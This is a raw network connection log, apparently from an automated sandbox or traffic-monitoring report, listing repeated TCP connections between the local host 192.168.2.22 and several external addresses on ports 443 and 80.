                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 172.217.16.193:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
